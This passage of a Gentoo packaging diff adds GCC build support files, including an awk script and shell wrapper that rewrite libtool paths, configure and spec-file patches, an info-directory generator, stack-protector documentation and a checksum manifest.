+					if ((gsub(OLDGCCLIB1 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0) ||
+					    (gsub(OLDGCCLIB2 "[/[:space:]]+",
+					          GCCLIB, la_data) > 0)) {
+						CHANGED = 1
+						CHOST_CHANGED = 1
+					}
+				}
+				if (OLDVER != NEWVER) {
+					if ((gsub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0) ||
+					    (gsub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "[/[:space:]]*",
+					          GCCLIB "/" NEWVER, la_data) > 0))
+						CHANGED = 1
+				}
+				# We now check if we have libstdc++.la, as we remove the
+				# libtool linker scripts for gcc ...
+				# We do this last, as we only match the new paths
+				if (gsub(GCCLIB "/" NEWVER "/libstdc\\+\\+\\.la",
+				         "-lstdc++", la_data) > 0)
+					CHANGED = 1
+			}
+			close(la_files)
+
+			# Do the actual changes in a second loop, as we can then
+			# verify that CHOST_CHANGED among things is correct ...
+			if (CHANGED) {
+				ewarnn("    FIXING: " la_files " ...[")
+
+				# Clear the temp file (removing rather than '>foo' is better
+				# out of a security point of view?)
+				dosystem("rm -f " la_files ".new")
+
+				while ((getline la_data < (la_files)) > 0) {
+					if (OLDCHOST != "") {
+						tmpstr = gensub(OLDGCCLIB1 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", la_data)
+						tmpstr = gensub(OLDGCCLIB2 "([/[:space:]]+)",
+						                GCCLIB "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							printn("c")
+							la_data = tmpstr
+						}
+
+						if (CHOST_CHANGED > 0) {
+							# We try to be careful about CHOST changes outside
+							# the gcc library path (meaning we cannot match it
+							# via /GCCLIBPREFIX CHOST/) ...
+
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/CHOST/{bin,lib}'
+							#
+							gsub("-L/usr/" OLDCHOST "/",
+							     "-L/usr/" CHOST "/", la_data)
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/CHOST/VER/../../../../CHOST/lib'
+							#
+							la_data = gensub("(" GCCLIB "/[^[:space:]]+)/" OLDCHOST "/",
+							                 "\\1/" CHOST "/", "g", la_data)
+						}
+					}
+
+					if (OLDVER != NEWVER) {
+						# Catch:
+						#
+						#  dependency_libs=' -L/usr/lib/gcc/CHOST/VER'
+						#
+						tmpstr = gensub(GCCLIBPREFIX_OLD CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", la_data)
+						tmpstr = gensub(GCCLIBPREFIX_NEW CHOST "/" OLDVER "([/[:space:]]+)",
+						                GCCLIB "/" NEWVER "\\1", "g", tmpstr)
+
+						if (la_data != tmpstr) {
+							# Catch:
+							#
+							#  dependency_libs=' -L/usr/lib/gcc-lib/../../CHOST/lib'
+							#
+							# in cases where we have gcc34
+							tmpstr = gensub(GCCLIBPREFIX_OLD "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							tmpstr = gensub(GCCLIBPREFIX_NEW "(../../" CHOST "/lib)",
+							                GCCLIBPREFIX "\\1", "g", tmpstr)
+							printn("v")
+							la_data = tmpstr
+						}
+					}
+
+					# We now check if we have libstdc++.la, as we remove the
+					# libtool linker scripts for gcc and any referencese in any
+					# libtool linker scripts.
+					# We do this last, as we only match the new paths
+					tmpstr = gensub(GCCLIB "/" NEWVER "/libstdc\\+\\+\\.la",
+					                "-lstdc++", "g", la_data);
+					if (la_data != tmpstr) {
+						printn("l")
+						la_data = tmpstr
+					}
+					
+					print la_data >> (la_files ".new")
+				}
+
+				if (CHANGED)
+					print "]"
+
+				close(la_files)
+				close(la_files ".new")
+
+				assert(dosystem("mv -f " la_files ".new " la_files),
+				       "dosystem(\"mv -f " la_files ".new " la_files "\")")
+			}
+		}
+
+		close(pipe)
+	}
+}
+
+# vim:ts=4
diff --git a/sys-devel/base-gcc/files/fix_libtool_files.sh b/sys-devel/base-gcc/files/fix_libtool_files.sh
new file mode 100644
index 00000000..c3a3c61f
--- /dev/null
+++ b/sys-devel/base-gcc/files/fix_libtool_files.sh
@@ -0,0 +1,72 @@
+#!/bin/bash
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/gcc/files/fix_libtool_files.sh,v 1.14 2007/09/06 11:00:44 uberlord Exp $
+
+usage() {
+cat << "USAGE_END"
+Usage: fix_libtool_files.sh <old-gcc-version> [--oldarch <old-CHOST>]
+
+    Where <old-gcc-version> is the version number of the
+    previous gcc version.  For example, if you updated to
+    gcc-3.2.1, and you had gcc-3.2 installed, run:
+
+      # fix_libtool_files.sh 3.2
+
+    If you updated to gcc-3.2.3, and the old CHOST was i586-pc-linux-gnu
+    but you now have CHOST as i686-pc-linux-gnu, run:
+
+      # fix_libtool_files.sh 3.2 --oldarch i586-pc-linux-gnu
+
+    Note that if only the CHOST and not the version changed, you can run
+    it with the current version and the '--oldarch <old-CHOST>' arguments,
+    and it will do the expected:
+
+      # fix_libtool_files.sh `gcc -dumpversion` --oldarch i586-pc-linux-gnu
+
+USAGE_END
+	exit 1
+}
+
+if [[ $2 != "--oldarch" && $# -ne 1 ]] || \
+   [[ $2 == "--oldarch" && $# -ne 3 ]]
+then
+	usage
+fi
+
+ARGV1=$1
+ARGV2=$2
+ARGV3=$3
+
+source /etc/profile || exit 1
+source /etc/init.d/functions.sh || exit 1
+
+if [[ ${EUID} -ne 0 ]] ; then
+	eerror "${0##*/}: Must be root."
+	exit 1
+fi
+
+# make sure the files come out sane
+umask 0022
+
+if [[ ${ARGV2} == "--oldarch" ]] && [[ -n ${ARGV3} ]] ; then
+	OLDCHOST=${ARGV3}
+else
+	OLDCHOST=
+fi
+
+AWKDIR="/lib/rcscripts/awk"
+
+if [[ ! -r ${AWKDIR}/fixlafiles.awk ]] ; then
+	eerror "${0##*/}: ${AWKDIR}/fixlafiles.awk does not exist!"
+	exit 1
+fi
+
+OLDVER=${ARGV1}
+
+export OLDVER OLDCHOST
+
+einfo "Scanning libtool files for hardcoded gcc library paths..."
+gawk -f "${AWKDIR}/fixlafiles.awk"
+
+# vim:ts=4
diff --git a/sys-devel/base-gcc/files/gcc-configure-LANG.patch b/sys-devel/base-gcc/files/gcc-configure-LANG.patch
new file mode 100644
index 00000000..d1b1b035
--- /dev/null
+++ b/sys-devel/base-gcc/files/gcc-configure-LANG.patch
@@ -0,0 +1,64 @@
+The LANG vars aren't reset early enough so when sed tries to use [a-zA-Z] in 
+option parsing, it may break.
+
+http://bugs.gentoo.org/103483
+
+--- configure
++++ configure
+@@ -54,6 +54,19 @@
+ infodir='${prefix}/info'
+ mandir='${prefix}/man'
+ 
++# NLS nuisances.
++for as_var in \
++  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
++  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
++  LC_TELEPHONE LC_TIME
++do
++  if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then
++    eval $as_var=C; export $as_var
++  else
++    unset $as_var
++  fi
++done
++
+ # Initialize some other variables.
+ subdirs=
+ MFLAGS= MAKEFLAGS=
+@@ -452,16 +463,6 @@
+   esac
+ done
+ 
+-# NLS nuisances.
+-# Only set these to C if already set.  These must not be set unconditionally
+-# because not all systems understand e.g. LANG=C (notably SCO).
+-# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'!
+-# Non-C LC_CTYPE values break the ctype check.
+-if test "${LANG+set}"   = set; then LANG=C;   export LANG;   fi
+-if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi
+-if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi
+-if test "${LC_CTYPE+set}"    = set; then LC_CTYPE=C;    export LC_CTYPE;    fi
+-
+ # confdefs.h avoids OS command line length limits that DEFS can exceed.
+ rm -rf conftest* confdefs.h
+ # AIX cpp loses on an empty file, so make sure it contains at least a newline.
+@@ -1850,6 +1850,19 @@
+ # Compiler output produced by configure, useful for debugging
+ # configure, is in ./config.log if it exists.
+ 
++# NLS nuisances.
++for as_var in \
++  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
++  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
++  LC_TELEPHONE LC_TIME
++do
++  if (set +x; test -z "`(eval \$as_var=C; export \$as_var) 2>&1`"); then
++    eval \$as_var=C; export \$as_var
++  else
++    unset \$as_var
++  fi
++done
++
+ ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]"
+ for ac_option
+ do
diff --git a/sys-devel/base-gcc/files/gcc-configure-texinfo.patch b/sys-devel/base-gcc/files/gcc-configure-texinfo.patch
new file mode 100644
index 00000000..ddc098dd
--- /dev/null
+++ b/sys-devel/base-gcc/files/gcc-configure-texinfo.patch
@@ -0,0 +1,16 @@
+Chances are quite good that the installed makeinfo is sufficient.
+So ignore false positives where the makeinfo installed is so new
+that it violates the cheesy version grep.
+
+http://bugs.gentoo.org/198182
+
+--- configure
++++ configure
+@@ -3573,6 +3573,6 @@
+       :
+     else
+-      MAKEINFO="$MISSING makeinfo"
++      :
+     fi
+     ;;
+ 
diff --git a/sys-devel/base-gcc/files/gcc-spec-env.patch b/sys-devel/base-gcc/files/gcc-spec-env.patch
new file mode 100644
index 00000000..57e7567e
--- /dev/null
+++ b/sys-devel/base-gcc/files/gcc-spec-env.patch
@@ -0,0 +1,42 @@
+    Add support for external spec file via the GCC_SPECS env var.  This
+    allows us to easily control pie/ssp defaults with gcc-config profiles.
+
+    Original patch by Rob Holland
+    Extended to support multiple entries separated by ':' by Kevin F. Quinn
+    Modified to use getenv instead of poisoned GET_ENVIRONMENT by Ryan Hill
+
+--- gcc-4/gcc/gcc.c
++++ gcc-4/gcc/gcc.c
+@@ -6482,6 +6482,32 @@
+ 
+   /* Process any user specified specs in the order given on the command
+      line.  */
++#if !(defined (__MSDOS__) || defined (OS2) || defined (VMS) || defined (WIN32))
++  /* Add specs listed in GCC_SPECS.  Note; in the process of separating
++   * each spec listed, the string is overwritten at token boundaries
++   * (':') with '\0', an effect of strtok_r().
++   */
++  specs_file = getenv ("GCC_SPECS");
++  if (specs_file && (strlen(specs_file) > 0))
++    {
++      char *spec, *saveptr;
++      for (spec=strtok_r(specs_file,":",&saveptr);
++           spec!=NULL;
++           spec=strtok_r(NULL,":",&saveptr))
++        {
++          struct user_specs *user = (struct user_specs *)
++            xmalloc (sizeof (struct user_specs));
++
++          user->next = (struct user_specs *) 0;
++          user->filename = spec;
++          if (user_specs_tail)
++            user_specs_tail->next = user;
++          else
++            user_specs_head = user;
++          user_specs_tail = user;
++        }
++    }
++#endif
+   for (uptr = user_specs_head; uptr; uptr = uptr->next)
+     {
+       char *filename = find_a_file (&startfile_prefixes, uptr->filename,
diff --git a/sys-devel/base-gcc/files/mkinfodir b/sys-devel/base-gcc/files/mkinfodir
new file mode 100644
index 00000000..a62840ee
--- /dev/null
+++ b/sys-devel/base-gcc/files/mkinfodir
@@ -0,0 +1,233 @@
+#!/bin/bash
+# $Id: mkinfodir,v 1.1 2001/09/01 07:56:19 drobbins Exp $
+# Generate the top-level Info node, given a directory of Info files
+# and (optionally) a skeleton file.  The output will be suitable for a
+# top-level dir file.  The skeleton file contains info topic names in the
+# order they should appear in the output.  There are three special
+# lines that alter the behavior: a line consisting of just "--" causes
+# the next line to be echoed verbatim to the output.  A line
+# containing just "%%" causes all the remaining filenames (wildcards
+# allowed) in the rest of the file to be ignored.  A line containing
+# just "!!" exits the script when reached (unless preceded by a line
+# containing just "--").  Once the script reaches the end of the
+# skeleton file, it goes through the remaining files in the directory
+# in order, putting their entries at the end.  The script will use the
+# ENTRY information in each info file if it exists.  Otherwise it will
+# make a minimal entry.
+
+# sent by Jeffrey Osier <jeffrey@cygnus.com>, who thinks it came from
+# zoo@winternet.com (david d `zoo' zuhn)
+
+# modified 7 April 1995 by Joe Harrington <jh@tecate.gsfc.nasa.gov> to
+# take special flags
+
+INFODIR=$1
+if [ $# = 2 ] ; then
+  SKELETON=$2
+else
+  SKELETON=/dev/null
+fi
+
+skip=
+
+if [ $# -gt 2 ] ; then
+  echo usage: $0 info-directory [ skeleton-file ] 1>&2
+  exit 1
+elif [ -z "${INFODIR}" ] ; then
+  INFODIR="%%DEFAULT_INFO_DIR%%"
+else
+  true
+fi
+
+if [ ! -d ${INFODIR} ] ; then
+  echo "$0: first argument must specify a directory"
+  exit 1
+fi
+
+### output the dir header
+echo "-*- Text -*-"
+echo "This file was generated automatically by $0."
+echo "This version was generated on `date`"
+echo "by `whoami`@`hostname` for `(cd ${INFODIR}; pwd)`"
+
+cat << moobler
+\$Id: mkinfodir,v 1.1 2001/09/01 07:56:19 drobbins Exp $
+This is the file .../info/dir, which contains the topmost node of the
+Info hierarchy.  The first time you invoke Info you start off
+looking at that node, which is (dir)Top.
+
+File: dir	Node: Top	This is the top of the INFO tree
+
+  This (the Directory node) gives a menu of major topics. 
+  Typing "q" exits, "?" lists all Info commands, "d" returns here,
+  "h" gives a primer for first-timers,
+  "mEmacs<Return>" visits the Emacs topic, etc.
+
+  In Emacs, you can click mouse button 2 on a menu item or cross reference
+  to select it.
+
+* Menu: The list of major topics begins on the next line.
+
+moobler
+
+### go through the list of files in the skeleton.  If an info file
+### exists, grab the ENTRY information from it.  If an entry exists
+### use it, otherwise create a minimal dir entry.
+###
+### Then remove that file from the list of existing files.  If any
+### additional files remain (ones that don't have a skeleton entry), 
+### then generate entries for those in the same way, putting the info for 
+### those at the end....
+
+infofiles=`(cd ${INFODIR}; /bin/ls | grep -v '\-[0-9]*\.gz$' | grep -v '\-[0-9]*$' | egrep -v '^dir$|^dir\.info$|^dir\.orig$')`
+
+# echoing gets clobbered by backquotes; we do it the hard way...
+lines=`wc $SKELETON | awk '{print $1}'`
+line=1
+while [ $lines -ge $line ] ; do
+  # Read one line from the file.  This is so that we can echo lines with
+  # whitespace and quoted characters in them.
+  fileline=`awk NR==$line $SKELETON`
+
+  # flag fancy features
+  if [ ! -z "$echoline" ] ; then	# echo line
+    echo "$fileline"
+    fileline=
+    echoline=
+  elif [ "${fileline}" = "--" ] ; then	# should we echo the next line?
+    echoline=1
+  elif [ "${fileline}" = "%%" ] ; then	# eliminate remaining files from dir?
+    skip=1
+  elif [ "${fileline}" = "!!" ] ; then	# quit now
+    exit 0
+  fi
+
+  # handle files if they exist
+  for file in $fileline"" ; do	# expand wildcards ("" handles blank lines)
+
+    fname=
+
+    if [ -z "$echoline" -a ! -z "$file" ] ; then
+
+      # Find the file to operate upon.  Check both possible names.
+      infoname=`echo $file | sed 's/\.gz$//'`
+      infoname=`echo $infoname | sed 's/\.info$//'`
+      noext=
+      ext=
+      if [ -f ${INFODIR}/$infoname ] ; then
+        noext=$infoname
+      fi
+      if [ -f ${INFODIR}/${infoname}.info ] ; then
+        ext=${infoname}.info
+      fi
+      if [ -f ${INFODIR}/${infoname}.info.gz ] ; then
+	ext=${infoname}.info.gz
+      fi
+      # If it exists with both names take what was said in the file.
+      if [ ! -z "$ext" -a ! -z "$noext" ]; then
+        fname=$file
+        warn="### Warning: $ext and $noext both exist!  Using ${file}. ###"
+      elif [ ! \( -z "$ext" -a -z "$noext" \) ]; then
+        # just take the name if it exists only once
+        fname=${noext}${ext}
+      fi
+
+      # if we found something and aren't skipping, do the entry
+      if [ ! -z "$fname" ] ; then
+        if [ -z "$skip" ] ; then
+
+          if [ ! -z "$warn" ] ; then	# issue any warning
+	    echo $warn
+	    warn=
+          fi
+	  if [ "${fname##*.}" = "gz" ] ; then
+	    entry=`zcat ${INFODIR}/${fname} | sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' `
+	  else
+            entry=`sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' ${INFODIR}/$fname`
+	  fi
+          if [ ! -z "${entry}" ] ; then
+            echo "${entry}"
+          else
+            echo "* ${infoname}: (${infoname})."
+          fi
+        fi
+
+        # remove the name from the directory listing
+	infofiles=`echo "" ${infofiles} "" | sed -e "s/ ${fname} / /" -e "s/  / /g"`
+
+      fi
+
+    fi
+
+  done
+
+  line=`expr $line + 1`
+done
+
+if [ -z "${infofiles}" ] ; then
+  exit 0
+elif [ $lines -gt 0 ]; then
+  echo
+fi
+
+# Sort remaining files by INFO-DIR-SECTION.
+prevsect=
+filesectdata=`(cd ${INFODIR}; fgrep INFO-DIR-SECTION /dev/null ${infofiles} | \
+	      fgrep -v 'INFO-DIR-SECTION Miscellaneous' | \
+	      sort -t: -k2 -k1 | tr ' ' '_')`
+for sectdata in ${filesectdata}; do
+  file=`echo ${sectdata} | cut -d: -f1`
+  section=`sed -n -e 's/^INFO-DIR-SECTION //p' ${INFODIR}/${file}`
+  infofiles=`echo "" ${infofiles} "" | sed -e "s/ ${file} / /" -e "s/  / /g"`
+
+  if [ "${prevsect}" != "${section}" ] ; then
+    if [ ! -z "${prevsect}" ] ; then
+      echo ""
+    fi
+    echo "${section}"
+    prevsect="${section}"
+  fi
+  infoname=`echo $file | sed 's/\.gz$//'`
+  infoname=`echo $infoname | sed 's/\.info$//'`
+  if [ "${file##*.}" = "gz" ] ; then
+	    entry=`zcat ${INFODIR}/$file | sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' `
+	  else
+            entry=`sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' ${INFODIR}/$file`
+	  fi
+  if [ ! -z "${entry}" ] ; then
+    echo "${entry}"
+  elif [ ! -d "${INFODIR}/${file}" ] ; then
+    echo "* ${infoname}: (${infoname})."
+  fi
+done
+
+# Process miscellaneous files.
+for file in ${infofiles}; do
+  if [ ! -z "${prevsect}" ] ; then
+    echo ""
+    echo "Miscellaneous"
+    prevsect=""
+  fi
+
+  infoname=`echo $file | sed 's/\.gz$//'`
+  infoname=`echo $infoname | sed 's/\.info$//'`
+  if [ "${file##*.}" = "gz" ] ; then
+           entry=`zcat ${INFODIR}/${file} | sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d'`
+	  else
+            entry=`sed -e '1,/START-INFO-DIR-ENTRY/d' \
+		     -e '/END-INFO-DIR-ENTRY/,$d' ${INFODIR}/$file`
+	  fi
+
+
+  if [ ! -z "${entry}" ] ; then
+    echo "${entry}"
+  elif [ ! -d "${INFODIR}/${file}" ] ; then
+    echo "* ${infoname}: (${infoname})."
+  fi
+done
+
diff --git a/sys-devel/base-gcc/files/pro-police-docs.patch b/sys-devel/base-gcc/files/pro-police-docs.patch
new file mode 100644
index 00000000..091ea44e
--- /dev/null
+++ b/sys-devel/base-gcc/files/pro-police-docs.patch
@@ -0,0 +1,74 @@
+Index: gcc/doc/invoke.texi
+===================================================================
+RCS file: /cvsroot/gcc/gcc/gcc/doc/invoke.texi,v
+retrieving revision 1.364
+diff -c -3 -p -r1.364 invoke.texi
+*** gcc/doc/invoke.texi	21 Nov 2003 11:42:58 -0000	1.364
+--- gcc/doc/invoke.texi	22 Nov 2003 08:12:35 -0000
+*************** in the following sections.
+*** 228,234 ****
+  -Wno-multichar  -Wnonnull  -Wpacked  -Wpadded @gol
+  -Wparentheses  -Wpointer-arith  -Wredundant-decls @gol
+  -Wreturn-type  -Wsequence-point  -Wshadow @gol
+! -Wsign-compare  -Wstrict-aliasing @gol
+  -Wswitch  -Wswitch-default  -Wswitch-enum @gol
+  -Wsystem-headers  -Wtrigraphs  -Wundef  -Wuninitialized @gol
+  -Wunknown-pragmas  -Wunreachable-code @gol
+--- 228,234 ----
+  -Wno-multichar  -Wnonnull  -Wpacked  -Wpadded @gol
+  -Wparentheses  -Wpointer-arith  -Wredundant-decls @gol
+  -Wreturn-type  -Wsequence-point  -Wshadow @gol
+! -Wsign-compare  -Wstack-protector  -Wstrict-aliasing @gol
+  -Wswitch  -Wswitch-default  -Wswitch-enum @gol
+  -Wsystem-headers  -Wtrigraphs  -Wundef  -Wuninitialized @gol
+  -Wunknown-pragmas  -Wunreachable-code @gol
+*************** in the following sections.
+*** 681,686 ****
+--- 681,687 ----
+  -fshort-double  -fshort-wchar @gol
+  -fverbose-asm  -fpack-struct  -fstack-check @gol
+  -fstack-limit-register=@var{reg}  -fstack-limit-symbol=@var{sym} @gol
++ -fstack-protector  -fstack-protector-all @gol
+  -fargument-alias  -fargument-noalias @gol
+  -fargument-noalias-global  -fleading-underscore @gol
+  -ftls-model=@var{model} @gol
+*************** effectively.  Often, the problem is that
+*** 3014,3019 ****
+--- 3015,3024 ----
+  complex; GCC will refuse to optimize programs when the optimization
+  itself is likely to take inordinate amounts of time.
+  
++ @item -Wstack-protector
++ @opindex Wstack-protector
++ Warn when not issuing stack smashing protection for some reason
++ 
+  @item -Werror
+  @opindex Werror
+  Make all warnings into errors.
+*************** and grows downwards, you can use the fla
+*** 11474,11479 ****
+--- 11479,11502 ----
+  @option{-fstack-limit-symbol=__stack_limit} and
+  @option{-Wl,--defsym,__stack_limit=0x7ffe0000} to enforce a stack limit
+  of 128KB@.  Note that this may only work with the GNU linker.
++ 
++ @item -fstack-protector
++ @item -fstack-protector-all
++ @opindex fstack-protector
++ @opindex fstack-protector-all
++ @opindex fno-stack-protector
++ Generate code to protect an application from a stack smashing
++ attack. The features are (1) the insertion of random value next to the
++ frame pointer to detect the integrity of the stack, (2) the reordering
++ of local variables to place buffers after pointers to avoid the
++ corruption of pointers that could be used to further corrupt arbitrary
++ memory locations, (3) the copying of pointers in function arguments to
++ an area preceding local variable buffers to prevent the corruption of
++ pointers that could be used to further corrupt arbitrary memory
++ locations, and the (4) omission of instrumentation code from some
++ functions to decrease the performance overhead.  If the integrity
++ would be broken, the program is aborted.  If no-stack-protector is
++ specified, instrumentation codes are generated at every functions.
+  
+  @cindex aliasing of parameters
+  @cindex parameters, aliased
diff --git a/sys-devel/base-gcc/metadata.xml b/sys-devel/base-gcc/metadata.xml
new file mode 100644
index 00000000..8bf5cdbc
--- /dev/null
+++ b/sys-devel/base-gcc/metadata.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>no-herd</herd>
+  <use>
+    <flag name="d">Enable support for the D programming language</flag>
+    <flag name="fixed-point">Enable fixed-point arithmetic support for MIPS targets 
+    in gcc (Warning: significantly increases compile time!)</flag>
+    <flag name="go">Build the GCC Go language frontend.</flag>
+    <flag name="graphite">Add support for the framework for loop
+      optimizations based on a polyhedral intermediate representation</flag>
+    <flag name="ip28">Enable building a compiler capable of building a kernel
+    for SGI Indigo2 Impact R10000 (IP28)</flag>
+    <flag name="ip32r10k">Enable building a compiler capable of building an
+    experimental kernel for SGI O2 w/ R1x000 CPUs (IP32)</flag>
+    <flag name="libffi">Build the portable foreign function interface library</flag>
+    <flag name="lto">Add support for link-time optimizations (unsupported, use
+    at your own risk).</flag>
+    <flag name="mudflap">Add support for mudflap, a pointer use checking library</flag>
+    <flag name="multislot">Allow for SLOTs to include minor version (3.3.4
+    instead of just 3.3)</flag>
+    <flag name="n32">Enable n32 ABI support on mips</flag>
+    <flag name="n64">Enable n64 ABI support on mips</flag>
+    <flag name="nopie">Disable PIE support (NOT FOR GENERAL USE)</flag>
+    <flag name="nossp">Disable SSP support (NOT FOR GENERAL USE)</flag>
+    <flag name="objc">Build support for the Objective C code language</flag>
+    <flag name="objc++">Build support for the Objective C++ language</flag>
+    <flag name="objc-gc">Build support for the Objective C code language Garbage
+    Collector</flag>
+  </use>
+</pkgmetadata>
diff --git a/sys-devel/gcc/Manifest b/sys-devel/gcc/Manifest
new file mode 100644
index 00000000..92f42db8
--- /dev/null
+++ b/sys-devel/gcc/Manifest
@@ -0,0 +1,29 @@
+AUX awk/fixlafiles.awk 7807 RMD160 749402c9c0a0f1e8755067c0e001f69d73edb09f SHA1 5fc91ce11eb93e989ae64470dba602fe534ac409 SHA256 3cae4890a295adef50c6cf8a7e14d1be4e7a2356479c073e5c29433c3cdf9c5c
+AUX awk/fixlafiles.awk-no_gcc_la 8596 RMD160 d34279d732586514b220ec0d583c5e634b5d97ef SHA1 95f07ff4d6c3196e682371f02e6d2207d921a1b5 SHA256 91e36c29133b6ff854bc84acd6cd2e9d07be6eaa73ef9b23e4f7bc6371107fab
+AUX c89 412 RMD160 2b54e526a76ff0b2e0e8f4f7f9d6949ac45806fa SHA1 6f6ed5affc4ae906c5d8cbdda557d5bbf683d861 SHA256 29ad5dd697135c2892067e780447894dc1cd071708157e46d21773ab99c5022c
+AUX c99 446 RMD160 04ecc9ef9b7a1fd525768955ff6a67fc0d5a17f7 SHA1 312b3b47490d9f62656706908112f9331bc509a4 SHA256 057b348cf5be9b4fb9db99a4549f6433c89d21e5f91dc5e46b0b4dc6b70432f5
+AUX fix_libtool_files.sh 1735 RMD160 5035cd4a9995ea6207a8de95815921c3939395bd SHA1 57cd1babab4c6b142dd8cc58b36943442ff2af13 SHA256 b8d86b1db9453dff4c62b3467887bf1e04ecb483120185102122bda2581ed3f5
+AUX gcc-4.6.2-fix-ICE-on-arm.patch 646 RMD160 ffddf3bc7cab3d74cbf31ab441d2e41cb3aa8500 SHA1 a162dc0b7bdee7aba0aadc647beb8d89e9b70990 SHA256 4df58b7f95bca7c850b98b90cf1798bbc2f988e9c86f608aa4c4c2b6a743aa58
+AUX gcc-configure-LANG.patch 2052 RMD160 91f5b90600dfccb10c4e2308a5a1485275fdfeee SHA1 56ecd1d6f2e4bd0b35ac108be72a4f6f60212c38 SHA256 63de6d2dcfe14f21d147abeb1390405b9220c03f8e968f482d4b4c1cf279c88b
+AUX gcc-configure-texinfo.patch 337 RMD160 d0e872a9f0ccb5ab51d10f129acd7a19d76a7b75 SHA1 7e267fac540175ce848e563539db8c951cab557b SHA256 74b73a7ecec2d88889876b4db480cd173632f49d5396bb8e5b3c93673f9b5b98
+AUX gcc-spec-env.patch 1544 RMD160 1f7747546513a6d8e16bd82c2824969b9a739dfb SHA1 bdc2736377813da4046ceea77922620dd69d8658 SHA256 64b01f29fb853fee5ecda998b66eeaa7ec86ff1fc3b21432bfd69eb543c93e6a
+AUX mkinfodir 7324 RMD160 96bbe8860ae8c0a50db42fea01cc1c2216bd36c8 SHA1 3b8316da1a0fa94943e6b71be709827563af7058 SHA256 0565353e767e253207adb8b5c9be9ba215a628447e075a4dc7bb3183ed099d2a
+AUX pro-police-docs.patch 3287 RMD160 eef412d92bed145db05bffa3a3e54e2ba74ee50d SHA1 ca58eda97d80f3d51f4e383ad3053fcb13f7a91b SHA256 ec012aed77285545b9d993cba1bc5fdb402c8dc9a17040f48b8b354746ede627
+DIST ecj-4.5.jar 1470676 RMD160 d3f4da657f086b6423f74e93f001132f4855368a SHA1 58c1d79c64c8cd718550f32a932ccfde8d1e6449 SHA256 98fd128f1d374d9e42fd9d4836bdd249c6d511ebc6c0df17fbc1b9df96c3d781
+DIST gcc-4.4.3-specs-0.2.0.tar.bz2 2004 RMD160 0a013f95029a170eeea3cb6ccbfd65f64b66f465 SHA1 61bd3c13400772ec4d5d4fcee297e3d86adbd065 SHA256 f6c7cb99beead66dd4d06f7004c5731a9360330cbe878ce79792c618e008eed2
+DIST gcc-4.5.3-patches-1.1.tar.bz2 20627 RMD160 432101fa66d4be008b6a4c606aea98bd4ae217d3 SHA1 0272e461a5e511d9998085f2b6387d917a151a17 SHA256 171348adbdbf3eeb26f47be414a47591eb332271995a052ef57fccb5742361ec
+DIST gcc-4.5.3-piepatches-v0.4.7.tar.bz2 14638 RMD160 3976e2390acb6d0ada68b697150522fa4bc67682 SHA1 326d230873059c635daf8120afeaeeef1bd3cd52 SHA256 fe3414a85b6b0a1e4ff758c008bbefc7411148ccb9af70cb1a0af179eba55a32
+DIST gcc-4.5.3-uclibc-patches-1.0.tar.bz2 3015 RMD160 af8fad2ca0a948f25bff2b4f4f9868a99c7ceae7 SHA1 679698942814c9b3caaa5d220d672c87df50fa26 SHA256 7ddb8ac57b42c0de07a9afb3338c05d884da3c606f80cf21ee767f9c4682e3f6
+DIST gcc-4.5.3.tar.bz2 66374586 RMD160 d07aa90f2186b4e082dfd5ad5d5188c097fb6247 SHA1 73c45dfda5eef6b124be53e56828b5925198cc1b SHA256 0a8847af44a9b33813b199997a73139517c96adfd519eaf24c79d4d9d09f65de
+DIST gcc-4.6.2-patches-1.0.tar.bz2 12374 RMD160 84aa2e55a8762e2d38161943e1661fd7a89683a8 SHA1 582f0c4bf7b734bb5798b0b8b9deac898557789d SHA256 a6fd308469094095891ba003b9c3c2d4c8bf35713df987609b675f04a43e83df
+DIST gcc-4.6.2-piepatches-v0.4.5.tar.bz2 14156 RMD160 101546367ae798f9080d111e4f9ccc0914ec74c8 SHA1 2ad14aa580d65cbc7dd35b5d05977890e9fb1679 SHA256 a18bea1bc2cad2efde5481a5777a97cf539d206dcbca33758d56d7fbdb43a554
+DIST gcc-4.6.2-uclibc-patches-1.0.tar.bz2 3019 RMD160 7e991775c15d4126bd8d85aceb677c675559606f SHA1 0d316aaf94966cc52b1582282723a932ac065639 SHA256 25e902a6d2db7181394df5ad11fafaad064bf28a6ffebd889033f744613ac201
